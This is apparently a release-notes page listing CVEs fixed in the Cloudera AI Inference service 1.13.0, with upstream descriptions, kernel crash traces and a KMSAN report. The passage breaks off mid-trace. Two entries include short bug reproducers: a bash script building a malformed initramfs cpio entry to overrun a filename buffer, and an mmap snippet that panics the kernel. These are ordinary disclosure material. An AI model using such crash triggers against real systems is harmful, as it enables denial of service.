Fixed Common Vulnerabilities and Exposures in Cloudera AI
Learn about the Common vulnerabilities and Exposures (CVEs) that were fixed in the Cloudera AI Inference service
1.13.0-h2000-b17 version.
Cloudera AI Inference service
| CVE ID | Description |
|---|---|
| CVE-2019-20633 | GNU patch through 2.7.6 contains a free(p_line[p_end]) Double Free vulnerability in the function another_hunk in pch.c that can cause a denial of service via a crafted patch file. NOTE: this issue exists because of an incomplete fix for CVE-2018-6952. |
| CVE-2022-3109 | An issue was discovered in the FFmpeg package, where vp3_decode_frame in libavcodec/vp3.c lacks check of the return value of av_malloc() and will cause a null pointer dereference, impacting availability. |
| CVE-2022-3341 | A null pointer dereference issue was discovered in 'FFmpeg' in decode_main_header() function of libavformat/nutdec.c file. The flaw occurs because the function lacks check of the return value of avformat_new_stream() and triggers the null pointer dereference error, causing an application to crash. |
| CVE-2022-3964 | A vulnerability classified as problematic has been found in ffmpeg. This affects an unknown part of the file libavcodec/rpzaenc.c of the component QuickTime RPZA Video Encoder. The manipulation of the argument y_size leads to out-of-bounds read. It is possible to initiate the attack remotely. The name of the patch is 92f9b28ed84a77138105475beba16c146bdaf984. It is recommended to apply a patch to fix this issue. The associated identifier of this vulnerability is VDB-213543. |
| CVE-2022-4743 | A potential memory leak issue was discovered in SDL2 in GLES_CreateTexture() function in SDL_render_gles.c. The vulnerability allows an attacker to cause a denial of service attack. The vulnerability affects SDL2 v2.0.4 and above. SDL-1.x are not affected. |
| CVE-2022-48434 | libavcodec/pthread_frame.c in FFmpeg before 5.1.2, as used in VLC and other products, leaves stale hwaccel state in worker threads, which allows attackers to trigger a use-after-free and execute arbitrary code in some circumstances (e.g., hardware re-initialization upon a mid-video SPS change when Direct3D11 is used). |
| CVE-2022-49306 | In the Linux kernel, the following vulnerability has been resolved: usb: dwc3: host: Stop setting the ACPI companion It is no longer needed. The sysdev pointer is now used when assigning the ACPI companions to the xHCI ports and USB devices. Assigning the ACPI companion here resulted in the fwnode->secondary pointer to be replaced also for the parent dwc3 device since the primary fwnode (the ACPI companion) was shared. That was unintentional and it created potential side effects like resource leaks. |
| CVE-2022-50354 | In the Linux kernel, the following vulnerability has been resolved: drm/amdkfd: Fix kfd_process_device_init_vm error handling Should only destroy the ib_mem and let process cleanup worker to free the outstanding BOs. Reset the pointer in pdd->qpd structure, to avoid NULL pointer access in process destroy worker. BUG: kernel NULL pointer dereference, address: 0000000000000010 Call Trace: amdgpu_amdkfd_gpuvm_unmap_gtt_bo_from_kernel+0x46/0xb0 [amdgpu] kfd_process_device_destroy_cwsr_dgpu+0x40/0x70 [amdgpu] kfd_process_destroy_pdds+0x71/0x190 [amdgpu] kfd_process_wq_release+0x2a2/0x3b0 [amdgpu] process_one_work+0x2a1/0x600 worker_thread+0x39/0x3d0 |
| CVE-2023-20585 | Insufficient checks of the RMP on host buffer access in IOMMU may allow an attacker with privileges and a compromised hypervisor to trigger an out of bounds condition without RMP checks, resulting in a potential loss of confidential guest integrity. |
| CVE-2023-22656 | Out-of-bounds read in Intel(R) Media SDK and some Intel(R) oneVPL software before version 23.3.5 may allow an authenticated user to potentially enable escalation of privilege via local access. |
| CVE-2023-32570 | VideoLAN dav1d before 1.2.0 has a thread_task.c race condition that can lead to an application crash, related to dav1d_decode_frame_exit. |
| CVE-2023-45221 | Improper buffer restrictions in Intel(R) Media SDK all versions may allow an authenticated user to potentially enable escalation of privilege via local access. |
| CVE-2023-47169 | Improper buffer restrictions in Intel(R) Media SDK software all versions may allow an authenticated user to potentially enable denial of service via local access. |
| CVE-2023-47282 | Out-of-bounds write in Intel(R) Media SDK all versions and some Intel(R) oneVPL software before version 23.3.5 may allow an authenticated user to potentially enable escalation of privilege via local access. |
| CVE-2023-48368 | Improper input validation in Intel(R) Media SDK software all versions may allow an authenticated user to potentially enable denial of service via local access. |
| CVE-2023-49502 | Buffer Overflow vulnerability in Ffmpeg v.n6.1-3-g466799d4f5 allows a local attacker to execute arbitrary code via the ff_bwdif_filter_intra_c function in the libavfilter/bwdifdsp.c:125:5 component. |
| CVE-2023-50010 | FFmpeg v.n6.1-3-g466799d4f5 allows a buffer over-read at ff_gradfun_blur_line_movdqa_sse2, as demonstrated by a call to the set_encoder_id function in /fftools/ffmpeg_enc.c component. |
| CVE-2023-51793 | Buffer Overflow vulnerability in Ffmpeg v.N113007-g8d24a28d06 allows a local attacker to execute arbitrary code via the libavutil/imgutils.c:353:9 in image_copy_plane. |
| CVE-2023-51794 | Buffer Overflow vulnerability in Ffmpeg v.N113007-g8d24a28d06 allows a local attacker to execute arbitrary code via the libavfilter/af_stereowiden.c:120:69. |
| CVE-2023-51798 | Buffer Overflow vulnerability in Ffmpeg v.N113007-g8d24a28d06 allows a local attacker to execute arbitrary code via a floating point exception (FPE) error at libavfilter/vf_minterpolate.c:1078:60 in interpolate. |
| CVE-2023-53261 | In the Linux kernel, the following vulnerability has been resolved: coresight: Fix memory leak in acpi_buffer->pointer There are memory leaks reported by kmemleak: ... unreferenced object 0xffff00213c141000 (size 1024): comm "systemd-udevd", pid 2123, jiffies 4294909467 (age 6062.160s) hex dump (first 32 bytes): 04 00 00 00 02 00 00 00 18 10 14 3c 21 00 ff ff ...........<!... 00 00 00 00 00 00 00 00 03 00 00 00 10 00 00 00 ................ backtrace: [<000000004b7c9001>] __kmem_cache_alloc_node+0x2f8/0x348 [<00000000b0fc7ceb>] __kmalloc+0x58/0x108 [<0000000064ff4695>] acpi_os_allocate+0x2c/0x68 [<000000007d57d116>] acpi_ut_initialize_buffer+0x54/0xe0 [<0000000024583908>] acpi_evaluate_object+0x388/0x438 [<0000000017b2e72b>] acpi_evaluate_object_typed+0xe8/0x240 [<000000005df0eac2>] coresight_get_platform_data+0x1b4/0x988 [coresight] ... The ACPI buffer memory (buf.pointer) should be freed. But the buffer is also used after returning from acpi_get_dsd_graph(). Move the temporary variables buf to acpi_coresight_parse_graph(), and free it before the function return to prevent memory leak. |
| CVE-2023-53362 | In the Linux kernel, the following vulnerability has been resolved: bus: fsl-mc: don't assume child devices are all fsl-mc devices Changes in VFIO caused a pseudo-device to be created as child of fsl-mc devices causing a crash [1] when trying to bind a fsl-mc device to VFIO. Fix this by checking the device type when enumerating fsl-mc child devices. [1] Modules linked in: Internal error: Oops: 0000000096000004 [#1] PREEMPT SMP CPU: 6 PID: 1289 Comm: sh Not tainted 6.2.0-rc5-00047-g7c46948a6e9c #2 Hardware name: NXP Layerscape LX2160ARDB (DT) pstate: 60000005 (nZCv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--) pc : mc_send_command+0x24/0x1f0 lr : dprc_get_obj_region+0xfc/0x1c0 sp : ffff80000a88b900 x29: ffff80000a88b900 x28: ffff48a9429e1400 x27: 00000000000002b2 x26: ffff48a9429e1718 x25: 0000000000000000 x24: 0000000000000000 x23: ffffd59331ba3918 x22: ffffd59331ba3000 x21: 0000000000000000 x20: ffff80000a88b9b8 x19: 0000000000000000 x18: 0000000000000001 x17: 7270642f636d2d6c x16: 73662e3030303030 x15: ffffffffffffffff x14: ffffd59330f1d668 x13: ffff48a8727dc389 x12: ffff48a8727dc386 x11: 0000000000000002 x10: 00008ceaf02f35d4 x9 : 0000000000000012 x8 : 0000000000000000 x7 : 0000000000000006 x6 : ffff80000a88bab0 x5 : 0000000000000000 x4 : 0000000000000000 x3 : ffff80000a88b9e8 x2 : ffff80000a88b9e8 x1 : 0000000000000000 x0 : ffff48a945142b80 Call trace: mc_send_command+0x24/0x1f0 dprc_get_obj_region+0xfc/0x1c0 fsl_mc_device_add+0x340/0x590 fsl_mc_obj_device_add+0xd0/0xf8 dprc_scan_objects+0x1c4/0x340 dprc_scan_container+0x38/0x60 vfio_fsl_mc_probe+0x9c/0xf8 fsl_mc_driver_probe+0x24/0x70 really_probe+0xbc/0x2a8 __driver_probe_device+0x78/0xe0 device_driver_attach+0x30/0x68 bind_store+0xa8/0x130 drv_attr_store+0x24/0x38 sysfs_kf_write+0x44/0x60 kernfs_fop_write_iter+0x128/0x1b8 vfs_write+0x334/0x448 ksys_write+0x68/0xf0 __arm64_sys_write+0x1c/0x28 invoke_syscall+0x44/0x108 el0_svc_common.constprop.1+0x94/0xf8 do_el0_svc+0x38/0xb0 el0_svc+0x20/0x50 el0t_64_sync_handler+0x98/0xc0 el0t_64_sync+0x174/0x178 Code: aa0103f4 a9025bf5 d5384100 b9400801 (79401260) ---[ end trace 0000000000000000 ]--- |
| CVE-2023-53574 | In the Linux kernel, the following vulnerability has been resolved: wifi: rtw88: delete timer and free skb queue when unloading Fix possible crash and memory leak on driver unload by deleting TX purge timer and freeing C2H queue in 'rtw_core_deinit()', shrink critical section in the latter by freeing COEX queue out of TX report lock scope. |
| CVE-2023-53682 | In the Linux kernel, the following vulnerability has been resolved: hwmon: (xgene) Fix ioremap and memremap leak Smatch reports: drivers/hwmon/xgene-hwmon.c:757 xgene_hwmon_probe() warn: 'ctx->pcc_comm_addr' from ioremap() not released on line: 757. This is because in drivers/hwmon/xgene-hwmon.c:701 xgene_hwmon_probe(), ioremap and memremap is not released, which may cause a leak. To fix this, ioremap and memremap is modified to devm_ioremap and devm_memremap. [groeck: Fixed formatting and subject] |
| CVE-2023-54185 | In the Linux kernel, the following vulnerability has been resolved: btrfs: remove BUG_ON()'s in add_new_free_space() At add_new_free_space() we have these BUG_ON()'s that are there to deal with any failure to add free space to the in memory free space cache. Such failures are mostly -ENOMEM that should be very rare. However there's no need to have these BUG_ON()'s, we can just return any error to the caller and all callers and their upper call chain are already dealing with errors. So just make add_new_free_space() return any errors, while removing the BUG_ON()'s, and returning the total amount of added free space to an optional u64 pointer argument. |
| CVE-2024-1580 | An integer overflow in dav1d AV1 decoder that can occur when decoding videos with large frame size. This can lead to memory corruption within the AV1 decoder. We recommend upgrading past version 1.4.0 of dav1d. |
| CVE-2024-7055 | A vulnerability was found in FFmpeg up to 7.0.1. It has been classified as critical. This affects the function pnm_decode_frame in the library /libavcodec/pnmdec.c. The manipulation leads to heap-based buffer overflow. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 7.0.2 is able to address this issue. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-273651. |
| CVE-2024-14040 | In the Linux kernel, the following vulnerability has been resolved: net: nexthop: Increase weight to u16 In CLOS networks, as link failures occur at various points in the network, ECMP weights of the involved nodes are adjusted to compensate. With high fan-out of the involved nodes, and overall high number of nodes, a (non-)ECMP weight ratio that we would like to configure does not fit into 8 bits. Instead of, say, 255:254, we might like to configure something like 1000:999. For these deployments, the 8-bit weight may not be enough. To that end, in this patch increase the next hop weight from u8 to u16. Increasing the width of an integral type can be tricky, because while the code still compiles, the types may not check out anymore, and numerical errors come up. To prevent this, the conversion was done in two steps. First the type was changed from u8 to a single-member structure, which invalidated all uses of the field. This allowed going through them one by one and audit for type correctness. Then the structure was replaced with a vanilla u16 again. This should ensure that no place was missed. The UAPI for configuring nexthop group members is that an attribute NHA_GROUP carries an array of struct nexthop_grp entries: struct nexthop_grp { __u32 id; /* nexthop id - must exist */ __u8 weight; /* weight of this nexthop */ __u8 resvd1; __u16 resvd2; }; The field resvd1 is currently validated and required to be zero. We can lift this requirement and carry high-order bits of the weight in the reserved field: struct nexthop_grp { __u32 id; /* nexthop id - must exist */ __u8 weight; /* weight of this nexthop */ __u8 weight_high; __u16 resvd2; }; Keeping the fields split this way was chosen in case an existing userspace makes assumptions about the width of the weight field, and to sidestep any endianness issues. The weight field is currently encoded as the weight value minus one, because weight of 0 is invalid. This same trick is impossible for the new weight_high field, because zero must mean actual zero. With this in place: - Old userspace is guaranteed to carry weight_high of 0, therefore configuring 8-bit weights as appropriate. When dumping nexthops with 16-bit weight, it would only show the lower 8 bits. But configuring such nexthops implies existence of userspace aware of the extension in the first place. - New userspace talking to an old kernel will work as long as it only attempts to configure 8-bit weights, where the high-order bits are zero. Old kernel will bounce attempts at configuring >8-bit weights. Renaming reserved fields as they are allocated for some purpose is commonly done in Linux. Whoever touches a reserved field is doing so at their own risk. nexthop_grp::resvd1 in particular is currently used by at least strace, however they carry an own copy of UAPI headers, and the conversion should be trivial. A helper is provided for decoding the weight out of the two fields. Forcing a conversion seems preferable to bending backwards and introducing anonymous unions or whatever. |
| CVE-2024-31578 | FFmpeg version n6.1.1 was discovered to contain a heap use-after-free via the av_hwframe_ctx_init function. |
| CVE-2024-32230 | FFmpeg 7.0 is vulnerable to Buffer Overflow. There is a negative-size-param bug at libavcodec/mpegvideo_enc.c:1216:21 in load_input_picture in FFmpeg7.0 |
| CVE-2024-35366 | FFmpeg n6.1.1 is Integer Overflow. The vulnerability exists in the parse_options function of sbgdec.c within the libavformat module. When parsing certain options, the software does not adequately validate the input. This allows for negative duration values to be accepted without proper bounds checking. |
| CVE-2024-35367 | FFmpeg n6.1.1 has an Out-of-bounds Read via libavcodec/ppc/vp8dsp_altivec.c, static const vec_s8 h_subpel_filters_outer |
| CVE-2024-35368 | FFmpeg n7.0 is affected by a Double Free via the rkmpp_retrieve_frame function within libavcodec/rkmppdec.c. |
| CVE-2024-35794 | In the Linux kernel, the following vulnerability has been resolved: dm-raid: really frozen sync_thread during suspend 1) commit f52f5c71f3d4 ("md: fix stopping sync thread") remove MD_RECOVERY_FROZEN from __md_stop_writes() and doesn't realize that dm-raid relies on __md_stop_writes() to frozen sync_thread indirectly. Fix this problem by adding MD_RECOVERY_FROZEN in md_stop_writes(), and since stop_sync_thread() is only used for dm-raid in this case, also move stop_sync_thread() to md_stop_writes(). 2) The flag MD_RECOVERY_FROZEN doesn't mean that sync thread is frozen, it only prevent new sync_thread to start, and it can't stop the running sync thread; In order to frozen sync_thread, after seting the flag, stop_sync_thread() should be used. 3) The flag MD_RECOVERY_FROZEN doesn't mean that writes are stopped, use it as condition for md_stop_writes() in raid_postsuspend() doesn't look correct. Consider that reentrant stop_sync_thread() do nothing, always call md_stop_writes() in raid_postsuspend(). 4) raid_message can set/clear the flag MD_RECOVERY_FROZEN at anytime, and if MD_RECOVERY_FROZEN is cleared while the array is suspended, new sync_thread can start unexpected. Fix this by disallow raid_message() to change sync_thread status during suspend. Note that after commit f52f5c71f3d4 ("md: fix stopping sync thread"), the test shell/lvconvert-raid-reshape.sh start to hang in stop_sync_thread(), and with previous fixes, the test won't hang there anymore, however, the test will still fail and complain that ext4 is corrupted. And with this patch, the test won't hang due to stop_sync_thread() or fail due to ext4 is corrupted anymore. However, there is still a deadlock related to dm-raid456 that will be fixed in following patches. |
| CVE-2024-36021 | In the Linux kernel, the following vulnerability has been resolved: net: hns3: fix kernel crash when devlink reload during pf initialization The devlink reload process will access the hardware resources, but the register operation is done before the hardware is initialized. So, processing the devlink reload during initialization may lead to kernel crash. This patch fixes this by taking devl_lock during initialization. |
| CVE-2024-36613 | FFmpeg n6.1.1 has a vulnerability in the DXA demuxer of the libavformat library allowing for an integer overflow, potentially resulting in a denial-of-service (DoS) condition or other undefined behavior. |
| CVE-2024-36616 | An integer overflow in the component /libavformat/westwood_vqa.c of FFmpeg n6.1.1 allows attackers to cause a denial of service in the application via a crafted VQA file. |
| CVE-2024-36617 | FFmpeg n6.1.1 has an integer overflow vulnerability in the FFmpeg CAF decoder. |
| CVE-2024-36618 | FFmpeg n6.1.1 has a vulnerability in the AVI demuxer of the libavformat library which allows for an integer overflow, potentially resulting in a denial-of-service (DoS) condition. |
| CVE-2024-39497 | In the Linux kernel, the following vulnerability has been resolved: drm/shmem-helper: Fix BUG_ON() on mmap(PROT_WRITE, MAP_PRIVATE) Lack of check for copy-on-write (COW) mapping in drm_gem_shmem_mmap allows users to call mmap with PROT_WRITE and MAP_PRIVATE flag causing a kernel panic due to BUG_ON in vmf_insert_pfn_prot: BUG_ON((vma->vm_flags & VM_PFNMAP) && is_cow_mapping(vma->vm_flags)); Return -EINVAL early if COW mapping is detected. This bug affects all drm drivers using default shmem helpers. It can be reproduced by this simple example: void *ptr = mmap(0, size, PROT_WRITE, MAP_PRIVATE, fd, mmap_offset); ptr[0] = 0; |
| CVE-2024-41062 | In the Linux kernel, the following vulnerability has been resolved: bluetooth/l2cap: sync sock recv cb and release The problem occurs between the system call to close the sock and hci_rx_work, where the former releases the sock and the latter accesses it without lock protection. CPU0 CPU1 ---- ---- sock_close hci_rx_work l2cap_sock_release hci_acldata_packet l2cap_sock_kill l2cap_recv_frame sk_free l2cap_conless_channel l2cap_sock_recv_cb If hci_rx_work processes the data that needs to be received before the sock is closed, then everything is normal; Otherwise, the work thread may access the released sock when receiving data. Add a chan mutex in the rx callback of the sock to achieve synchronization between the sock release and recv cb. Sock is dead, so set chan data to NULL, avoid others use invalid sock pointer. |
| CVE-2024-43823 | In the Linux kernel, the following vulnerability has been resolved: PCI: keystone: Fix NULL pointer dereference in case of DT error in ks_pcie_setup_rc_app_regs() If IORESOURCE_MEM is not provided in Device Tree due to any error, resource_list_first_type() will return NULL and pci_parse_request_of_pci_ranges() will just emit a warning. This will cause a NULL pointer dereference. Fix this bug by adding NULL return check. Found by Linux Verification Center (linuxtesting.org) with SVACE. |
| CVE-2024-43912 | In the Linux kernel, the following vulnerability has been resolved: wifi: nl80211: disallow setting special AP channel widths Setting the AP channel width is meant for use with the normal 20/40/... MHz channel width progression, and switching around in S1G or narrow channels isn't supported. Disallow that. |
| CVE-2024-46720 | In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu: fix dereference after null check check the pointer hive before use. |
| CVE-2024-46780 | In the Linux kernel, the following vulnerability has been resolved: nilfs2: protect references to superblock parameters exposed in sysfs The superblock buffers of nilfs2 can not only be overwritten at runtime for modifications/repairs, but they are also regularly swapped, replaced during resizing, and even abandoned when degrading to one side due to backing device issues. So, accessing them requires mutual exclusion using the reader/writer semaphore "nilfs->ns_sem". Some sysfs attribute show methods read this superblock buffer without the necessary mutual exclusion, which can cause problems with pointer dereferencing and memory access, so fix it. |
| CVE-2024-49888 | In the Linux kernel, the following vulnerability has been resolved: bpf: Fix a sdiv overflow issue Zac Ecob reported a problem where a bpf program may cause kernel crash due to the following error: Oops: divide error: 0000 [#1] PREEMPT SMP KASAN PTI The failure is due to the below signed divide: LLONG_MIN/-1 where LLONG_MIN equals to -9,223,372,036,854,775,808. LLONG_MIN/-1 is supposed to give a positive number 9,223,372,036,854,775,808, but it is impossible since for 64-bit system, the maximum positive number is 9,223,372,036,854,775,807. On x86_64, LLONG_MIN/-1 will cause a kernel exception. On arm64, the result for LLONG_MIN/-1 is LLONG_MIN. Further investigation found all the following sdiv/smod cases may trigger an exception when bpf program is running on x86_64 platform: - LLONG_MIN/-1 for 64bit operation - INT_MIN/-1 for 32bit operation - LLONG_MIN%-1 for 64bit operation - INT_MIN%-1 for 32bit operation where -1 can be an immediate or in a register. On arm64, there are no exceptions: - LLONG_MIN/-1 = LLONG_MIN - INT_MIN/-1 = INT_MIN - LLONG_MIN%-1 = 0 - INT_MIN%-1 = 0 where -1 can be an immediate or in a register. Insn patching is needed to handle the above cases and the patched codes produced results aligned with above arm64 result. The below are pseudo codes to handle sdiv/smod exceptions including both divisor -1 and divisor 0 and the divisor is stored in a register. sdiv: tmp = rX tmp += 1 /* [-1, 0] -> [0, 1] if tmp >(unsigned) 1 goto L2 if tmp == 0 goto L1 rY = 0 L1: rY = -rY; goto L3 L2: rY /= rX L3: smod: tmp = rX tmp += 1 /* [-1, 0] -> [0, 1] if tmp >(unsigned) 1 goto L1 if tmp == 1 (is64 ? goto L2 : goto L3) rY = 0; goto L2 L1: rY %= rX L2: goto L4 // only when !is64 L3: wY = wY // only when !is64 L4: [1] https://lore.kernel.org/bpf/tPJLTEh7S_DxFEqAI2Ji5MBSoZVg7_G-Py2iaZpAaWtM961fFTWtsnlzwvTbzBzaUzwQAoNATXKUlt0LZOFgnDcIyKCswAnAGdUF3LBrhGQ=@protonmail.com/ |
| CVE-2024-53142 | In the Linux kernel, the following vulnerability has been resolved: initramfs: avoid filename buffer overrun The initramfs filename field is defined in Documentation/driver-api/early-userspace/buffer-format.rst as: 37 cpio_file := ALGN(4) + cpio_header + filename + "\0" + ALGN(4) + data ... 55 ============= ================== ========================= 56 Field name Field size Meaning 57 ============= ================== ========================= ... 70 c_namesize 8 bytes Length of filename, including final \0 When extracting an initramfs cpio archive, the kernel's do_name() path handler assumes a zero-terminated path at @collected, passing it directly to filp_open() / init_mkdir() / init_mknod(). If a specially crafted cpio entry carries a non-zero-terminated filename and is followed by uninitialized memory, then a file may be created with trailing characters that represent the uninitialized memory. The ability to create an initramfs entry would imply already having full control of the system, so the buffer overrun shouldn't be considered a security vulnerability. Append the output of the following bash script to an existing initramfs and observe any created /initramfs_test_fname_overrunAA* path. E.g. ./reproducer.sh | gzip >> /myinitramfs It's easiest to observe non-zero uninitialized memory when the output is gzipped, as it'll overflow the heap allocated @out_buf in __gunzip(), rather than the initrd_start+initrd_size block. ---- reproducer.sh ---- nilchar="A" # change to "\0" to properly zero terminate / pad magic="070701" ino=1 mode=$(( 0100777 )) uid=0 gid=0 nlink=1 mtime=1 filesize=0 devmajor=0 devminor=1 rdevmajor=0 rdevminor=0 csum=0 fname="initramfs_test_fname_overrun" namelen=$(( ${#fname} + 1 )) # plus one to account for terminator printf "%s%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%s" \ $magic $ino $mode $uid $gid $nlink $mtime $filesize \ $devmajor $devminor $rdevmajor $rdevminor $namelen $csum $fname termpadlen=$(( 1 + ((4 - ((110 + $namelen) & 3)) % 4) )) printf "%.s${nilchar}" $(seq 1 $termpadlen) ---- reproducer.sh ---- Symlink filename fields handled in do_symlink() won't overrun past the data segment, due to the explicit zero-termination of the symlink target. Fix filename buffer overrun by aborting the initramfs FSM if any cpio entry doesn't carry a zero-terminator at the expected (name_len - 1) offset. |
| CVE-2024-53157 | In the Linux kernel, the following vulnerability has been resolved: firmware: arm_scpi: Check the DVFS OPP count returned by the firmware Fix a kernel crash with the below call trace when the SCPI firmware returns OPP count of zero. dvfs_info.opp_count may be zero on some platforms during the reboot test, and the kernel will crash after dereferencing the pointer to kcalloc(info->count, sizeof(*opp), GFP_KERNEL). | Unable to handle kernel NULL pointer dereference at virtual address 0000000000000028 | Mem abort info: | ESR = 0x96000004 | Exception class = DABT (current EL), IL = 32 bits | SET = 0, FnV = 0 | EA = 0, S1PTW = 0 | Data abort info: | ISV = 0, ISS = 0x00000004 | CM = 0, WnR = 0 | user pgtable: 4k pages, 48-bit VAs, pgdp = 00000000faefa08c | [0000000000000028] pgd=0000000000000000 | Internal error: Oops: 96000004 [#1] SMP | scpi-hwmon: probe of PHYT000D:00 failed with error -110 | Process systemd-udevd (pid: 1701, stack limit = 0x00000000aaede86c) | CPU: 2 PID: 1701 Comm: systemd-udevd Not tainted 4.19.90+ #1 | Hardware name: PHYTIUM LTD Phytium FT2000/4/Phytium FT2000/4, BIOS | pstate: 60000005 (nZCv daif -PAN -UAO) | pc : scpi_dvfs_recalc_rate+0x40/0x58 [clk_scpi] | lr : clk_register+0x438/0x720 | Call trace: | scpi_dvfs_recalc_rate+0x40/0x58 [clk_scpi] | devm_clk_hw_register+0x50/0xa0 | scpi_clk_ops_init.isra.2+0xa0/0x138 [clk_scpi] | scpi_clocks_probe+0x528/0x70c [clk_scpi] | platform_drv_probe+0x58/0xa8 | really_probe+0x260/0x3d0 | driver_probe_device+0x12c/0x148 | device_driver_attach+0x74/0x98 | __driver_attach+0xb4/0xe8 | bus_for_each_dev+0x88/0xe0 | driver_attach+0x30/0x40 | bus_add_driver+0x178/0x2b0 | driver_register+0x64/0x118 | __platform_driver_register+0x54/0x60 | scpi_clocks_driver_init+0x24/0x1000 [clk_scpi] | do_one_initcall+0x54/0x220 | do_init_module+0x54/0x1c8 | load_module+0x14a4/0x1668 | __se_sys_finit_module+0xf8/0x110 | __arm64_sys_finit_module+0x24/0x30 | el0_svc_common+0x78/0x170 | el0_svc_handler+0x38/0x78 | el0_svc+0x8/0x340 | Code: 937d7c00 a94153f3 a8c27bfd f9400421 (b8606820) | ---[ end trace 06feb22469d89fa8 ]--- | Kernel panic - not syncing: Fatal exception | SMP: stopping secondary CPUs | Kernel Offset: disabled | CPU features: 0x10,a0002008 | Memory Limit: none |
| CVE-2025-0518 | Unchecked Return Value, Out-of-bounds Read vulnerability in FFmpeg allows Read Sensitive Constants Within an Executable. This vulnerability is associated with program files https://github.Com/FFmpeg/FFmpeg/blob/master/libavfilter/af_pan.C . This issue affects FFmpeg: 7.1. Issue was fixed: https://github.com/FFmpeg/FFmpeg/commit/b5b6391d64807578ab872dc58fb8aa621dcfc38a https://github.com/FFmpeg/FFmpeg/commit/b5b6391d64807578ab872dc58fb8aa621dcfc38a This issue was discovered by: Simcha Kosman |
| CVE-2025-1594 | A vulnerability, which was classified as critical, was found in FFmpeg up to 7.1. This affects the function ff_aac_search_for_tns of the file libavcodec/aacenc_tns.c of the component AAC Encoder. The manipulation leads to stack-based buffer overflow. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. |
| CVE-2025-2173 | A vulnerability was found in libzvbi up to 0.2.43. It has been classified as problematic. Affected is the function vbi_strndup_iconv_ucs2 of the file src/conv.c. The manipulation of the argument src_length leads to uninitialized pointer. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 0.2.44 is able to address this issue. The patch is identified as 8def647eea27f7fd7ad33ff79c2d6d3e39948dce. It is recommended to upgrade the affected component. The code maintainer was informed beforehand about the issues. She reacted very fast and highly professional. |
| CVE-2025-2174 | A vulnerability was found in libzvbi up to 0.2.43. It has been declared as problematic. Affected by this vulnerability is the function vbi_strndup_iconv_ucs2 of the file src/conv.c. The manipulation of the argument src_length leads to integer overflow. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 0.2.44 is able to address this issue. The patch is named ca1672134b3e2962cd392212c73f44f8f4cb489f. It is recommended to upgrade the affected component. The code maintainer was informed beforehand about the issues. She reacted very fast and highly professional. |
| CVE-2025-2175 | A vulnerability was found in libzvbi up to 0.2.43. It has been rated as problematic. Affected by this issue is the function _vbi_strndup_iconv. The manipulation leads to integer overflow. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 0.2.44 is able to address this issue. It is recommended to upgrade the affected component. The code maintainer was informed beforehand about the issues. She reacted very fast and highly professional. |
| CVE-2025-2176 | A vulnerability classified as critical has been found in libzvbi up to 0.2.43. This affects the function vbi_capture_sim_load_caption of the file src/io-sim.c. The manipulation leads to integer overflow. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 0.2.44 is able to address this issue. The identifier of the patch is ca1672134b3e2962cd392212c73f44f8f4cb489f. It is recommended to upgrade the affected component. The code maintainer was informed beforehand about the issues. She reacted very fast and highly professional. |
| CVE-2025-2177 | A vulnerability classified as critical was found in libzvbi up to 0.2.43. This vulnerability affects the function vbi_search_new of the file src/search.c. The manipulation of the argument pat_len leads to integer overflow. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 0.2.44 is able to address this issue. The patch is identified as ca1672134b3e2962cd392212c73f44f8f4cb489f. It is recommended to upgrade the affected component. The code maintainer was informed beforehand about the issues. She reacted very fast and highly professional. |
| CVE-2025-7962 | In Jakarta Mail versions prior to 2.0.2 it is possible to perform an SMTP Injection by utilizing the \r and \n UTF-8 characters to separate different messages. |
| CVE-2025-10911 | A use-after-free vulnerability was found in libxslt while parsing xsl nodes that may lead to the dereference of expired pointers and application crash. |
| CVE-2025-14813 | : Use of a Broken or Risky Cryptographic Algorithm vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA bcprov on all (core modules). This vulnerability is associated with program files G3413CTRBlockCipher. This issue affects BC-JAVA: from 1.59 before 1.80.2, from 1.81 before 1.81.1, from 1.82 before 1.84. |
| CVE-2025-22919 | A reachable assertion in FFmpeg git-master commit N-113007-g8d24a28d06 allows attackers to cause a Denial of Service (DoS) via opening a crafted AAC file. |
| CVE-2025-29481 | Buffer Overflow vulnerability in libbpf 1.5.0 allows a local attacker to execute arbitrary code via the bpf_object__init_prog` function of libbpf. |
| CVE-2025-37742 | In the Linux kernel, the following vulnerability has been resolved: jfs: Fix uninit-value access of imap allocated in the diMount() function syzbot reports that hex_dump_to_buffer is using uninit-value: ===================================================== BUG: KMSAN: uninit-value in hex_dump_to_buffer+0x888/0x1100 lib/hexdump.c:171 hex_dump_to_buffer+0x888/0x1100 lib/hexdump.c:171 print_hex_dump+0x13d/0x3e0 lib/hexdump.c:276 diFree+0x5ba/0x4350 fs/jfs/jfs_imap.c:876 jfs_evict_inode+0x510/0x550 fs/jfs/inode.c:156 evict+0x723/0xd10 fs/inode.c:796 iput_final fs/inode.c:1946 [inline] iput+0x97b/0xdb0 fs/inode.c:1972 txUpdateMap+0xf3e/0x1150 fs/jfs/jfs_txnmgr.c:2367 txLazyCommit fs/jfs/jfs_txnmgr.c:2664 [inline] jfs_lazycommit+0x627/0x11d0 fs/jfs/jfs_txnmgr.c:2733 kthread+0x6b9/0xef0 kernel/kthread.c:464 ret_from_fork+0x6d/0x90 arch/x86/kernel/process.c:148 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:244 Uninit was created at: slab_post_alloc_hook mm/slub.c:4121 [inline] slab_alloc_node mm/slub.c:4164 [inline] __kmalloc_cache_noprof+0x8e3/0xdf0 mm/slub.c:4320 kmalloc_noprof include/linux/slab.h:901 [inline] diMount+0x61/0x7f0 fs/jfs/jfs_imap.c:105 jfs_mount+0xa8e/0x11d0 fs/jfs/jfs_mount.c:176 jfs_fill_super+0xa47/0x17c0 fs/jfs/super.c:523 get_tree_bdev_flags+0x6ec/0x910 fs/super.c:1636 get_tree_bdev+0x37/0x50 fs/super.c:1659 jfs_get_tree+0x34/0x40 